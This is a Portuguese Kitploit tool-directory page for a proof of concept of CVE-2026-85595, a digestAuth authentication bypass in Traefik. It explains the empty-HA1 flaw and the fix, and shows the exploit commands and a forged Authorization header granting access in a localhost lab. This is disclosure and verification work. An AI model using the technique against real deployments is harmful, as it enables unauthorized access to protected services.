Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-85595-PoC — CVE-2026-85595 — bypass de autenticação digestAuth no Traefik (nome de usuário desconhecido => HA1 vazio). Verificado em laboratório: bypass na v3.7.10, 401 na v3.7.11. | Kitploit
Ferramentas/GitHubGitHub/boreas37/cve-2026-85595-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAutenticaçãoLabs e Prática
GitHubboreas37/cve-2026-85595-poc

CVE-2026-85595-PoC

CVE-2026-85595 — bypass de autenticação digestAuth no Traefik (nome de usuário desconhecido => HA1 vazio). Verificado em laboratório: bypass na v3.7.10, 401 na v3.7.11.

Ver Repositório
há 13 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-85595 — digestAuth do Traefik autentica usuários desconhecidos (segredo vazio)

Afetado: Traefik < 2.11.55, e 3.0.0 – 3.7.10 Corrigido: 2.11.55 / 3.7.11 Correção: commit b975dcaa8c48 do containous/go-http-auth "Reject DigestAuth when user secret is empty", incorporado ao Traefik pelo commit 2116686308a2 (atualização do go.mod) Aviso: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

Mecanismo

O middleware de digest do Traefik resolve o HA1 do usuário por meio de sua própria busca de segredo (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

CheckAuth do go-http-auth então pega esse "" como HA1 e calcula (digest.go:191-203 antes da correção):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets é falso para o Traefik (o arquivo de usuários já contém HA1), então HA1 permanece como string vazia. Toda entrada para KD, exceto HA1, é controlada pelo atacante ou fornecida pelo desafio 401 (nonce, opaque), e a verificação de uri aceita o próprio caminho da requisição. A resposta é, portanto, computável sem qualquer senha e sem um nome de usuário que exista no arquivo de usuários.

A correção consiste em três linhas na biblioteca:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

O próprio Traefik não precisou de alteração de código — apenas a atualização da dependência — e é por isso que o diff da v3.7.11 não contém nenhum hunk de digest_auth.go.

Laboratório

funçãoimagemcontainerporta do host
proxy vulneráveltraefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21010 → :8000
proxy corrigidotraefik:v3.7.11poc-traefik-3711127.0.0.1:21011 → :8000
  • Router: PathPrefix(/admin) no entrypoint digest, middleware digestAuth (realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).
  • Arquivo de usuários: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). O usuário ghost usado pelo PoC não está nele.
  • Backend: poc-traefik-app (python:3.12-alpine), serve ADMIN-AREA … para /admin/*.
  • Receita: lab/README.md.

Uso

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE grava a transcrição; --path, --user substituem o caminho de destino e o nome de usuário forjado.

Verificação (saída real)

1. traefik:v3.7.10 vulnerável — bypass

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

O log de acesso do próprio proxy registra a identidade forjada como um usuário autenticado (ClientUsername é o segundo campo após o IP do cliente):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. Mesmo proxy, sem credenciais (controle)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. traefik:v3.7.11 fixado — digest forjado rejeitado

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

Notas / limitações

  • O PoC forja uma requisição por desafio; o controle de nonce (nc) não é necessário além do uso único.
  • Nenhuma credencial válida é usada em nenhum momento; o único nome de usuário transmitido é um que não existe no arquivo de usuários.
  • A mesma técnica funciona contra qualquer roteador protegido por digestAuth em uma versão afetada, e contra 2.11.x < 2.11.55.
Baixar ferramenta